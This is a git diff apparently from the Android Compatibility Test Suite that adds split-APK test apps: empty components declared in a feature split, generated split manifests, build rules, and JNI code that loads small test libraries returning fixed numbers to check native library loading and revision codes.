+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.feature.warm;
+
+import android.app.Activity;
+
+public class EmptyActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyProvider.java
new file mode 100644
index 0000000..2905a1c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.feature.warm;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class EmptyProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyService.java
new file mode 100644
index 0000000..87f4f8b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/src/com/android/cts/splitapp/feature/warm/EmptyService.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.feature.warm;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class EmptyService extends Service {
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/instantapp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/instantapp/AndroidManifest.xml
new file mode 100644
index 0000000..aff6672
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/instantapp/AndroidManifest.xml
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- This manifest is to create the apk of CtsSplitInstantApp for the tests of the splitName of
+     component such as Service and Provider. They are only supported in the instant app. In the full
+     app, declares a provider which is not defined in the apk would crash the application while
+     application is launching. A specific apk for these tests is needed.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
+
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
+
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <activity android:name=".MyActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".feature.warm.EmptyActivity" android:splitName="feature_warm"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".MyReceiver"
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
+            </intent-filter>
+        </receiver>
+
+        <provider android:name=".RemoteQueryProvider"
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
+        </provider>
+        <!-- Provider defined in the split of feature_warm. -->
+        <provider android:name=".feature.warm.EmptyProvider" android:splitName="feature_warm"
+                  android:authorities="com.android.cts.splitapp.feature.warm"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+            </intent-filter>
+        </provider>
+
+        <!-- Service defined in the split of feature_warm. -->
+        <service android:name=".feature.warm.EmptyService" android:splitName="feature_warm"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+            </intent-filter>
+        </service>
+
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.splitapp"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp
new file mode 100644
index 0000000..1372175
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp
@@ -0,0 +1,132 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_defaults {
+    name: "split_native_defaults",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    target: {
+        android_arm: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"armeabi-v7a\"",
+            ],
+        },
+        android_arm64: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"arm64-v8a\"",
+            ],
+        },
+        android_x86: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"x86\"",
+            ],
+        },
+        android_x86_64: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"x86_64\"",
+            ],
+        },
+    },
+    sdk_version: "current",
+}
+
+cc_defaults {
+    name: "split_number_provider_defaults",
+    defaults: ["split_native_defaults"],
+    srcs: ["number_providers.cpp"],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_provider_a",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO=1",
+    ],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_provider_b",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO=1",
+    ],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_proxy",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROXY_SO=1",
+    ],
+}
+
+
+TARGET_TEST_SUITES = [
+    "cts",
+    "general-tests",
+]
+
+/**
+  * Non-isolated split feature
+  */
+java_defaults {
+    name: "CtsSplitTestHelperApp_defaults",
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--replace-version",
+        "--version-code 100",
+    ],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+java_defaults {
+    name: "CtsSplitTestHelperApp_number_provider_defaults",
+    defaults: ["CtsSplitTestHelperApp_defaults"],
+    compile_multilib: "both",
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_provider_a",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_provider_b",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_proxy",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    test_suites: TARGET_TEST_SUITES,
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index daa8a8f..5bc9e6c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -14,8 +14,19 @@
 # limitations under the License.
 #
 
+# Caution: This file is used by NDK to generate all platform library files.
+#          Please don't change this file to Android.bp.
 LOCAL_PATH := $(call my-dir)
 
+# Default cflags
+MY_CFLAGS :=  -Wall -Werror -Wno-unused-parameter -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\"
+
+# If the TARGET_ARCH_ABI is 32bit, it adds __LIVE_ONLY_32BIT__ in MY_CFLAGS.
+ABIS_FOR_32BIT_ONLY := armeabi-v7a armeabi x86 mips
+ifneq ($(filter $(TARGET_ARCH_ABI),$(ABIS_FOR_32BIT_ONLY)),)
+MY_CFLAGS += -D__LIVE_ONLY_32BIT__=1
+endif
+
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := libsplitappjni
@@ -25,6 +36,24 @@
 
 LOCAL_LDLIBS += -llog
 
+LOCAL_CFLAGS := $(MY_CFLAGS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libsplitappjni_revision
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_SRC_FILES := com_android_cts_splitapp_Native.cpp
+
+LOCAL_LDLIBS += -llog
+
+LOCAL_CFLAGS := $(MY_CFLAGS) -D__REVISION_HAVE_SUB__=1
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml
new file mode 100644
index 0000000..1c6f2f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_provider_a">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml
new file mode 100644
index 0000000..ee9baf5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_provider_b">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml
new file mode 100644
index 0000000..9d5c84e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_proxy">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
index 01302f5..0329395 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
@@ -18,12 +18,61 @@
 
 #include <android/log.h>
 #include <stdio.h>
+#include <dlfcn.h>
 
 #include "jni.h"
 
 #define  LOGE(...)  __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__)
 
+typedef int (*pFuncGetNumber)();
+
+static jint get_number_from_other_library(
+        const char* library_file_name, const char* function_name) {
+    void *handle;
+    char *error;
+    handle = dlopen (library_file_name, RTLD_LAZY);
+    if (!handle) {
+        LOGE("Can't load %s: %s\n", library_file_name, dlerror());
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber) dlsym(handle, function_name);
+    if ((error = dlerror()) != NULL)  {
+        LOGE("Can't load function %s: %s\n", function_name, error);
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+static jint get_number_a_via_proxy(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_a");
+}
+
+static jint get_number_b_via_proxy(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_b");
+}
+
+static jint get_number_a_from_provider(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_a.so", "get_number");
+}
+
+static jint get_number_b_from_provider(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_b.so", "get_number");
+}
+
+#ifdef __LIVE_ONLY_32BIT__
+#define ABI_BITNESS 32
+#else // __LIVE_ONLY_32BIT__
+#define ABI_BITNESS 64
+#endif // __LIVE_ONLY_32BIT__
+
+static jint get_abi_bitness(JNIEnv* env, jobject thiz) {
+    return ABI_BITNESS;
+}
 
 static jint add(JNIEnv *env, jobject thiz, jint a, jint b) {
     int result = a + b;
@@ -35,11 +84,28 @@
     return env->NewStringUTF(__ANDROID_ARCH__);
 }
 
+static jint sub(JNIEnv* env, jobject thiz, jint a, jint b) {
+#ifdef __REVISION_HAVE_SUB__
+    int result = a - b;
+    LOGI("%d - %d = %d", a, b, result);
+    return result;
+#else  // __REVISION_HAVE_SUB__
+    LOGI("Implement sub badly, just return 0");
+    return 0;
+#endif // __REVISION_HAVE_SUB__
+}
+
 static const char *classPathName = "com/android/cts/splitapp/Native";
 
 static JNINativeMethod methods[] = {
-    {"add", "(II)I", (void*)add },
-    {"arch", "()Ljava/lang/String;", (void*)arch },
+        {"getAbiBitness", "()I", (void*)get_abi_bitness},
+        {"add", "(II)I", (void*)add},
+        {"arch", "()Ljava/lang/String;", (void*)arch},
+        {"sub", "(II)I", (void*)sub},
+        {"getNumberAViaProxy", "()I", (void*) get_number_a_via_proxy},
+        {"getNumberBViaProxy", "()I", (void*) get_number_b_via_proxy},
+        {"getNumberADirectly", "()I", (void*) get_number_a_from_provider},
+        {"getNumberBDirectly", "()I", (void*) get_number_b_from_provider},
 };
 
 static int registerNativeMethods(JNIEnv* env, const char* className, JNINativeMethod* gMethods, int numMethods) {
@@ -77,7 +143,11 @@
     jint result = -1;
     JNIEnv* env = NULL;
 
-    LOGI("JNI_OnLoad");
+#ifdef __REVISION_HAVE_SUB__
+    LOGI("JNI_OnLoad revision %d bits", ABI_BITNESS);
+#else  // __REVISION_HAVE_SUB__
+    LOGI("JNI_OnLoad %d bits", ABI_BITNESS);
+#endif // __REVISION_HAVE_SUB__
 
     if (vm->GetEnv(&uenv.venv, JNI_VERSION_1_4) != JNI_OK) {
         LOGE("ERROR: GetEnv failed");
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp
new file mode 100644
index 0000000..ff19355
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * The content of libsplitapp_number_provider_proxy.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROXY_SO
+#include <dlfcn.h>
+
+const char* kFunctionName = "get_number";
+
+typedef int (*pFuncGetNumber)();
+
+int get_number(const char* libraryFileName) {
+    void *handle;
+    char *error;
+    handle = dlopen (libraryFileName, RTLD_LAZY);
+    if (!handle) {
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber) dlsym(handle, kFunctionName);
+    if ((error = dlerror()) != NULL)  {
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+int get_number_a() {
+    return get_number("libsplitapp_number_provider_a.so");
+}
+
+int get_number_b() {
+    return get_number("libsplitapp_number_provider_b.so");
+}
+
+#endif // ANDROID_SPLIT_APP_NUMBER_PROXY_SO
+
+/**
+ * The content of libsplitapp_number_provider_a.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO
+int get_number() {
+    return 7;
+}
+#endif // ANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO
+
+
+/**
+ * The content of libsplitapp_number_provider_b.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO
+int get_number() {
+    return 11;
+}
+#endif // ANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
index ba2da56..206d517 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/Android.mk
@@ -12,4 +12,6 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 include $(call all-subdir-makefiles)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 8eede6c..c8bc895 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_arm64-v8a
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
index 206e207..ec56f79 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_arm64_v8a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
index bcc8f51..427a89e 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
new file mode 100755
index 0000000..86f2b35
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index 234a7d8..6687baf 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -12,8 +12,9 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
 
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
@@ -30,3 +31,18 @@
 LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_revision12_armeabi-v7a
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw_revision
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version --revision-code 12
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
index 1d19420..4e2526c 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/AndroidManifest.xml
@@ -1,4 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
         split="lib_armeabi_v7a">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
index 010c372..ddf14e0 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
Binary files differ
